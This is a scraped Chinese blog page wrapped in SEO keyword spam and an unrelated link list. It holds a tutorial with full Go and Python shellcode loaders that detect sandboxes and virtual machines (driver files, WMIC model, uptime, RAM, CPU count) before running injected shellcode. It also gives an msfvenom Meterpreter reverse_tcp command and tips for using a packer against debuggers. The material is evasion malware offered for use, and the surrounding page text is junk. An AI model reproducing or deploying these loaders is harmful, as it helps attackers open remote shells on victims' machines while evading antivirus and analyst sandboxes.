当前位置: 首页 > news >正文

网站做的关键词被屏蔽wordpress图片间隙

网站做的关键词被屏蔽,wordpress图片间隙,制作网页和做网站是一个意思吗,国内用react做的网站反VT-沙盒检测-GoPython 介绍#xff1a; 近年来#xff0c;各类恶意软件层出不穷#xff0c;反病毒软件也更新了各种检测方案以提高检率。 其中比较有效的方案是动态沙箱检测技术#xff0c;即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说… 反VT-沙盒检测-GoPython 介绍 近年来各类恶意软件层出不穷反病毒软件也更新了各种检测方案以提高检率。 其中比较有效的方案是动态沙箱检测技术即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说沙盒就是为运行中的程序提供的隔离环境。          为了逃避沙箱/安全人员的检测恶意软件使用了各类识别沙箱/虚拟机的技术用于判断自身程序是否运行在沙箱/虚拟机中。 go语言 1.使用GoLang打开如下反沙盒go文件。 main.go会检测电脑配置来判断是否是虚拟环境 packagemainimport(encoding/hexgolang.org/x/sys/windowsosos/execpath/filepathruntimestringssyscalltimeunsafe)//检测语言依赖windows数据包编译后会增加0.6M大小funccheck_language(){a,_:windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)//获取当前系统首选语言ifa[0]!zh-CN{os.Exit(1)}}funccheck_sandbox(){//1.延时运行timeSleep1,_:timeSleep()//2.检测开机时间bootTime1,_:bootTime()//3.检测物理内存physicalMemory1,_:physicalMemory()//4.检测CPU核心数numberOfCPU1,_:numberOfCPU()//5.检测临时文件数numberOfTempFiles1,_:numberOfTempFiles()level:timeSleep1bootTime1physicalMemory1numberOfCPU1numberOfTempFiles1//有五个等级等级越趋向于5越像真机//fmt.Println(level:,level)iflevel4{os.Exit(1)}}//1.延时运行functimeSleep()(int,error){startTime:time.Now()time.Sleep(5*time.Second)endTime:time.Now()sleepTime:endTime.Sub(startTime)ifsleepTimetime.Duration(5*time.Second){//fmt.Println(睡眠时间为:,sleepTime)return1,nil}else{return0,nil}}//2.检测开机时间//许多沙箱检测完毕后会重置系统我们可以检测开机时间来判断是否为真实的运行状况。funcbootTime()(int,error){varkernelsyscall.NewLazyDLL(Kernel32.dll)GetTickCount:kernel.NewProc(GetTickCount)r,_,_:GetTickCount.Call()ifr0{return0,nil}ms:time.Duration(r*1000*1000)tm:time.Duration(30*time.Minute)//fmt.Println(ms,tm)ifmstm{return0,nil}else{return1,nil}}//3、物理内存大小funcphysicalMemory()(int,error){varmodsyscall.NewLazyDLL(kernel32.dll)varprocmod.NewProc(GetPhysicallyInstalledSystemMemory)varmemuint64proc.Call(uintptr(unsafe.Pointer(mem)))memmem/1048576//fmt.Printf(物理内存为%dG\n,mem)ifmem4{return0,nil//小于4GB返回0}return1,nil//大于4GB返回1}funcnumberOfCPU()(int,error){a:runtime.NumCPU()//fmt.Println(CPU核心数为:,a)ifa4{return0,nil//小于4核心数,返回0}else{return1,nil//大于4核心数返回1}}funcnumberOfTempFiles()(int,error){conn:os.Getenv(temp)//通过环境变量读取temp文件夹路径varkintifconn{//fmt.Println(未找到temp文件夹或temp文件夹不存在)return0,nil}else{local_dir:connerr:filepath.Walk(local_dir,func(filenamestring,fios.FileInfo,errerror)error{iffi.IsDir(){returnnil}k//fmt.Println(filename:,filename)//输出文件名字returnnil})//fmt.Println(Temp总共文件数量:,k)iferr!nil{//fmt.Println(路径获取错误)return0,nil}}ifk30{return0,nil}return1,nil}funccheck_virtual()(bool,error){//识别虚拟机model:varcmd*exec.Cmdcmdexec.Command(cmd,/C,wmicpathWin32_ComputerSystemgetModel)stdout,err:cmd.Output()iferr!nil{returnfalse,err}modelstrings.ToLower(string(stdout))ifstrings.Contains(model,VirtualBox)||strings.Contains(model,virtual)||strings.Contains(model,VMware)||strings.Contains(model,KVM)||strings.Contains(model,Bochs)||strings.Contains(model,HVMdomU)||strings.Contains(model,Parallels){returntrue,nil//如果是虚拟机则返回true}returnfalse,nil}funcPathExists(pathstring)(bool,error){_,err:os.Stat(path)iferrnil{returntrue,nil}ifos.IsNotExist(err){returnfalse,nil}returnfalse,err}funcfack(pathstring){b,_:PathExists(path)ifb{os.Exit(1)}}funccheck_file(){fack(C:\\windows\\System32\\Drivers\\Vmmouse.sys)fack(C:\\windows\\System32\\Drivers\\vmtray.dll)fack(C:\\windows\\System32\\Drivers\\VMToolsHook.dll)fack(C:\\windows\\System32\\Drivers\\vmmousever.dll)fack(C:\\windows\\System32\\Drivers\\vmhgfs.dll)fack(C:\\windows\\System32\\Drivers\\vmGuestLib.dll)fack(C:\\windows\\System32\\Drivers\\VBoxMouse.sys)fack(C:\\windows\\System32\\Drivers\\VBoxGuest.sys)fack(C:\\windows\\System32\\Drivers\\VBoxSF.sys)fack(C:\\windows\\System32\\Drivers\\VBoxVideo.sys)fack(C:\\windows\\System32\\vboxdisp.dll)fack(C:\\windows\\System32\\vboxhook.dll)fack(C:\\windows\\System32\\vboxoglerrorspu.dll)fack(C:\\windows\\System32\\vboxoglpassthroughspu.dll)fack(C:\\windows\\System32\\vboxservice.exe)fack(C:\\windows\\System32\\vboxtray.exe)fack(C:\\windows\\System32\\VBoxControl.exe)}varVirtualAllocsyscall.NewLazyDLL(kernel32.dll).NewProc(VirtualProtect)funcaaa(aunsafe.Pointer,buintptr,cuint32,dunsafe.Pointer)bool{ret,_,_:VirtualAlloc.Call(uintptr(a),uintptr(b),uintptr(c),uintptr(d))returnret0}funcRun(sc[]byte){fly:func(){}varxxuint32if!aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(fly))),unsafe.Sizeof(uintptr(0)),uint32(0x40),unsafe.Pointer(xx)){}**(**uintptr)(unsafe.Pointer(fly))*(*uintptr)(unsafe.Pointer(sc))varyyuint32aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(yy))fly()}funcScFromHex(scHexstring)[]byte{varcharcode[]bytecharcode,_hex.DecodeString(string(scHex))returncharcode}funcmain(){check_language()check_file()check,_:check_virtual()ifchecktrue{os.Exit(1)}check_sandbox()sccode:ScFromHex(生成的hex类型shellcode)Run(sccode)} 2.启动msf使用命令生成hex类型shellcode 命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST监听ip LPORT4444 -f hex 将shellcode写入main.go文件中运行生成exe程序 3.msf设置监听在真机运行exe程序msf成功上线 4.将exe程序放到虚拟机中无法运行证明代码成功检测出当前处在虚拟环境中。   python语言 1.将如下反沙盒py代码使用py文件打包器打包成exe程序 Vt.py: import ctypes,base64,os,psutil,timefrom multiprocessing import cpu_countdef check_file():vmfile[C:\windows\System32\Drivers\Vmmouse.sys,C:\windows\System32\Drivers/vmtray.dll,C:\windows\System32\Drivers\VMToolsHook.dll,C:\windows\System32\Drivers/vmmousever.dll,C:\windows\System32\Drivers/vmhgfs.dll,C:\windows\System32\Drivers/vmGuestLib.dll,C:\windows\System32\Drivers\VBoxMouse.sys,C:\windows\System32\Drivers\VBoxGuest.sys,C:\windows\System32\Drivers\VBoxSF.sys,C:\windows\System32\Drivers\VBoxVideo.sys,C:\windows\System32/vboxdisp.dll,C:\windows\System32/vboxhook.dll,C:\windows\System32/vboxoglerrorspu.dll,C:\windows\System32/vboxoglpassthroughspu.dll,C:\windows\System32/vboxservice.exe,C:\windows\System32/vboxtray.exe,C:\windows\System32\VBoxControl.exe,]for data in vmfile:resultos.path.exists(data)if result:return 0return 1def check_virtual():ros.popen(wmic path Win32_ComputerSystem get Model)text r.read()if vmware in text:return 0return 1def numberOfCPU():if int(format(cpu_count())) 4:return 0return 1def physicalMemory():data psutil.virtual_memory()total data.total # 总内存,单位为bytenint(total/1024/1024/1024)1if n 4:return 0return 1if __name__ __main__:rnumberOfCPU()physicalMemory()check_virtual()check_file()print(r)if r 4:exit()else:scb生成的shellcodetime.sleep(1)ctypes.windll.kernel32.VirtualAlloc.restype ctypes.c_uint64rwxpage ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)time.sleep(1)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(sc), len(sc))time.sleep(1)handle ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)time.sleep(1)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)time.sleep(1) 打包成功 2.真机运行exe程序cs成功上线 3.将exe程序上传到虚拟机exe程序无法运行。     反VT反调试-程序保护 1.将上线的exe程序使用ollydbg进行调试可以正常调试 2.使用工具shielden对exe程序进行保护 下载https://www.somode.com/softxz/716.html 启动工具将exe程序拖入工具中。勾选如下选项点击保护 3.将重新生成的受保护的exe程序再次使用ollydbg调试可以看到已经不能正常调试了 4.在虚拟机中也无法在运行
http://www.hkea.cn/news/14551810/

相关文章:

  • 凌河锦州网站建设网站开发项目经理注意事项
  • 网站导航设计模板源码wordpress页面文字首行缩进
  • 对伊利网站建设建议字节跳动小程序官网
  • 广州海珠网站开发设计网络团队
  • 2018如何做网站外链无锡市住房和城乡建设部网站
  • 经开区网站建设wordpress 上传文件 插件
  • 做网站如何选择数据源高仿做的最好的网站
  • 网站类型有网站推广应该注意什么
  • 视频教学网站怎么做网站开发一般用什么服务器
  • 建站模板下载后表单怎么修改青岛专业公司网站设计公司
  • 没有公司怎么做网站权威发布的最新通告
  • 域名注册网站有哪些二人对战的微信小程序
  • 合租网站设计用于手机的导航网站要怎么做
  • 合肥企业制作网站head first wordpress 中文版
  • 帝国cms 网站地图标签建设网站有什么好处
  • 东莞工作招聘网优化好的网站做企业网站
  • 运营一个网站的费用做网站的开发软件
  • 怎么发布自己的网站传奇怎么做充值网站
  • 网站自适应框架西安信创
  • 360免费建站全屋定制设计网站推荐
  • 网站建设调查回访表做网站点击率赚钱
  • 东至网站定制国内vps做网站备案
  • 网站建设流程教程有什么做视频的免费素材网站
  • 网站模版二次开发跟手工制作区别网站空间管理系统
  • 给企业做网站如何定价vimwiki wordpress
  • Linux哪个版本做网站好网站见建设
  • 网站建设技术部职责my77731免费域名查询
  • wordpress怎么设置title优化seo可以从以下几个方面进行
  • 河南网站建设yijuce管理案例网站
  • html做网站实战教程百度手机app下载安装